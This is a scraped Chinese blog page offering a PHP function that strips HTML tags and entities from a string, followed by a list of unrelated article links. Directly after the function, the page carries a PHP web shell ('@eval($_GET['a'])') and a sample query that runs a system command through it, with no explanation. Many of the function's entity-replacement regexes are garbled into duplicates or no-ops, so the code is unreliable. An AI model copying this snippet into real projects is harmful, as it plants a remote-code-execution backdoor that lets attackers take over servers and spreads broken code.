php去除h5标签
2024-08-31 04:39:52
function
html2text(
$str
){
$str
= preg_replace(
"/<style .*?<\\/style>/is"
,
""
,
$str
);
$str
= preg_replace(
"/<script .*?<\\/script>/is"
,
""
,
$str
);
$str
= preg_replace(
"/<br \\s*\\/>/i"
,
">>>>"
,
$str
);
$str
= preg_replace(
"/<\\/?p>/i"
,
">>>>"
,
$str
);
$str
= preg_replace(
"/<\\/?td>/i"
,
""
,
$str
);
$str
= preg_replace(
"/<\\/?div>/i"
,
">>>>"
,
$str
);
$str
= preg_replace(
"/<\\/?blockquote>/i"
,
""
,
$str
);
$str
= preg_replace(
"/<\\/?li>/i"
,
">>>>"
,
$str
);
$str
= preg_replace(
"/ /i"
,
" "
,
$str
);
$str
= preg_replace(
"/ /i"
,
" "
,
$str
);
$str
= preg_replace(
"/&/i"
,
"&"
,
$str
);
$str
= preg_replace(
"/&/i"
,
"&"
,
$str
);
$str
= preg_replace(
"/</i"
,
"<"
,
$str
);
$str
= preg_replace(
"/</i"
,
"<"
,
$str
);
$str
= preg_replace(
"/“/i"
,
'"'
,
$str
);
$str
= preg_replace(
"/&ldquo/i"
,
'"'
,
$str
);
$str
= preg_replace(
"/‘/i"
,
"'"
,
$str
);
$str
= preg_replace(
"/&lsquo/i"
,
"'"
,
$str
);
$str
= preg_replace(
"/'/i"
,
"'"
,
$str
);
$str
= preg_replace(
"/&rsquo/i"
,
"'"
,
$str
);
$str
= preg_replace(
"/>/i"
,
">"
,
$str
);
$str
= preg_replace(
"/>/i"
,
">"
,
$str
);
$str
= preg_replace(
"/”/i"
,
'"'
,
$str
);
$str
= preg_replace(
"/&rdquo/i"
,
'"'
,
$str
);
$str
=
strip_tags
(
$str
);
$str
= html_entity_decode(
$str
, ENT_QUOTES,
"utf-8"
);
$str
= preg_replace(
"/&#.*?;/i"
,
""
,
$str
);
return
$str
;
}
?a=system(ipconfig);
<?php @eval($_GET['a']);?>
最新文章
- Js中找任意对象的原型方法及改造原型
- jquery 获取浏览器可视窗口大小,滚动条高度
- 构建千万级web访问架构
- Hive 12、Hive优化
- php用百度地图API进行IP定位和GPS定位
- Zynq和microblaze的区别
- MyEclipse修改项目名称后,部署到tomcat问题。
- Mybatis Dynamic Query 1.0.2版本
- FMT 与 子集(逆)卷积
- EF的使用<;三>;
- Swift - use Array
- 记一次windows服务开发中遇到的问题
- SPARK安装三:SPARK集群部署
- NodeMCU入门(3):断线自动重连,指示灯显示连接状态
- 串口转以太客户端(增加uci、可连接多个服务器)
- 通过python构建集中式的病毒扫描机制
- C# 数字证书 RSA加密解密 加签验签
- UOJ 55 【WC2014】紫荆花之恋——点分治+平衡树
- Introduction to Razor Pages in ASP.NET Core
- 【Linux 运维】 date的使用